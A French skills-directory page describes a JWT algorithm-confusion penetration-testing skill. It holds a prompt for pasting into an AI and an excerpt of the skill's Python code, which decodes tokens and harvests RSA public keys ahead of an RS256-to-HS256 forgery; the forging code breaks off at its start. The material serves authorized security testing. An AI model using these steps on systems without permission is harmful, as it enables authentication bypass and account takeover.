Aller au contenu
Skillpedia
Sécurité35k · #7912

exploiting-jwt-algorithm-confusion-attack

Ce qu’il fait

Ce code tente de tromper un système d'authentification par jetons JWT. Pour cela, il modifie la façon dont le jeton est signé afin qu'il puisse être accepté alors qu'il ne devrait pas l'être.

Quand l’utiliser

  • ✓Lorsque vous testez la sécurité d'un système qui utilise des jetons JWT avec l'algorithme RS256.
  • ✓Pour vérifier si le système accepte des jetons sans signature valide (alg:none).
  • ✓Pour tester si le système utilise la mauvaise clé publique pour vérifier la signature.

Lien du skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md

Copiez-le et collez-le dans votre IA (Claude, ChatGPT ou Cursor) en lui demandant de suivre les instructions.

Comment l’utiliser

Le plus simple : copiez le message et collez-le dans votre IA. Elle lit le skill et suit les instructions.

Message prêt à coller

Utilise ce skill pour m’aider : https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-jwt-algorithm-confusion-attack/SKILL.md Lis le fichier SKILL.md de ce lien et suis ses instructions pour ma tâche.
Envie que votre IA trouve seule des skills comme celui-ci ?Installez le MCP gratuit de Skillpedia : une ligne, et elle cherche parmi 15 000+ skills avant chaque tâche.Installer en 1 minute →

Exemple de demande à votre IA

“Essayez de tromper le système pour qu'il accepte un jeton JWT modifié.”

5 nouveaux skills par semaine. 1 minute de lecture.

Comment ça marche

Il prend un jeton JWT valide, remplace l'algorithme de signature par un algorithme plus faible (comme HS256) et utilise la clé publique du système comme secret pour le signer. Si le système ne vérifie pas correctement, il acceptera le faux jeton.

Contenu technique (SKILL.md original)

Texte original de l’auteur, en anglais, directement depuis GitHub.

Exploiting JWT Algorithm Confusion Attack

When to Use

  • Testing APIs that use RS256 (asymmetric) JWT tokens for authentication to check for algorithm downgrade to HS256
  • Assessing JWT implementations for alg:none bypass where the server skips signature verification
  • Evaluating JWT libraries for key confusion vulnerabilities where the public key is used as HMAC secret
  • Testing kid (Key ID), jku (JWK Set URL), and x5u (X.509 URL) header parameters for injection
  • Validating that the API server enforces a specific algorithm and does not trust the JWT header

Do not use without written authorization. JWT exploitation can lead to authentication bypass and account takeover.

Prerequisites

  • Written authorization specifying the target API and JWT-based authentication in scope
  • A valid JWT token from the target API (obtained through legitimate authentication)
  • The server's RSA public key (obtainable from JWKS endpoint, TLS certificate, or public key endpoint)
  • Python 3.10+ with PyJWT, cryptography, and requests libraries
  • jwt_tool for automated JWT attack testing
  • Burp Suite with JWT Editor extension

Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.

Workflow

Step 1: JWT Token Analysis

import base64
import json
import requests
import hmac
import hashlib
import time

BASE_URL = "https://target-api.example.com/api/v1"

# Capture a valid JWT token
login_resp = requests.post(f"{BASE_URL}/auth/login",
    json={"email": "test@example.com", "password": "TestPass123!"})
valid_token = login_resp.json().get("access_token", "")

# Decode JWT parts
def decode_jwt(token):
    parts = token.split('.')
    if len(parts) != 3:
        raise ValueError("Invalid JWT format")

    def pad(s):
        return s + '=' * (4 - len(s) % 4)

    header = json.loads(base64.urlsafe_b64decode(pad(parts[0])))
    payload = json.loads(base64.urlsafe_b64decode(pad(parts[1])))
    return header, payload, parts[2]

header, payload, signature = decode_jwt(valid_token)
print(f"Algorithm: {header.get('alg')}")
print(f"Key ID: {header.get('kid', 'none')}")
print(f"Type: {header.get('typ')}")
print(f"JKU: {header.get('jku', 'none')}")
print(f"\nPayload: {json.dumps(payload, indent=2)}")
print(f"\nExpires: {time.ctime(payload.get('exp', 0))}")

Step 2: Obtain the Public Key

from cryptography.hazmat.primitives import serialization
from cryptography.x509 import load_pem_x509_certificate

# Method 1: JWKS endpoint
jwks_url = f"{BASE_URL}/.well-known/jwks.json"
jwks_resp = requests.get(jwks_url)
if jwks_resp.status_code == 200:
    jwks = jwks_resp.json()
    print(f"JWKS keys found: {len(jwks.get('keys', []))}")
    for key in jwks['keys']:
        print(f"  kid: {key.get('kid')}, kty: {key.get('kty')}, alg: {key.get('alg')}")

    # Extract RSA public key from JWKS
    from cryptography.hazmat.primitives.asymmetric.rsa import RSAPublicNumbers
    from cryptography.hazmat.backends import default_backend

    rsa_key = jwks['keys'][0]  # First key
    n = int.from_bytes(base64.urlsafe_b64decode(rsa_key['n'] + '=='), 'big')
    e = int.from_bytes(base64.urlsafe_b64decode(rsa_key['e'] + '=='), 'big')
    public_key = RSAPublicNumbers(e, n).public_key(default_backend())
    public_key_pem = public_key.public_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PublicFormat.SubjectPublicKeyInfo
    )
    print(f"\nPublic Key (PEM):\n{public_key_pem.decode()}")

# Method 2: From well-known OpenID configuration
oidc_resp = requests.get(f"{BASE_URL}/.well-known/openid-configuration")
if oidc_resp.status_code == 200:
    jwks_uri = oidc_resp.json().get('jwks_uri')
    print(f"JWKS URI from OIDC config: {jwks_uri}")

# Method 3: Exposed at common paths
for path in ["/public-key", "/api/public-key", "/oauth/token_key", "/.well-known/jwks"]:
    resp = requests.get(f"{BASE_URL}{path}")
    if resp.status_code == 200 and ("BEGIN" in resp.text or "keys" in resp.text):
        print(f"Public key found at: {path}")

Step 3: Algorithm Confusion Attack (RS256 to HS256)

def forge_hs256_with_public_key(token, public_key_pem, modifications=None):
    """
    Algorithm confusion: Sign token with HS256 using the RSA public key as secret.

…
Questions fréquentes

Qu'est-ce qu'un jeton JWT ?

C'est une petite information utilisée pour authentifier les utilisateurs sur les systèmes web, un peu comme un pass d'accès numérique.

Que sont RS256 et HS256 ?

Ce sont différentes « recettes » (algorithmes) pour signer et vérifier les jetons JWT. RS256 est plus sécurisé que HS256.

Pourquoi utiliser la clé publique comme secret est-il dangereux ?

Parce que la clé publique ne doit servir qu'à vérifier, pas à signer. La utiliser comme secret permet à n'importe qui de créer des jetons valides.

Détails

Description originale de l’auteur

Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularité

Étoiles GitHub
35k
Position au classement
#7912
Licence
Apache-2.0
Mis à jour
31/08/2026

Ce skill vous est-il utile ?

0

Connectez-vous pour voter.

Commentaires

  • …

Autres skills de ce dépôt

Skills similaires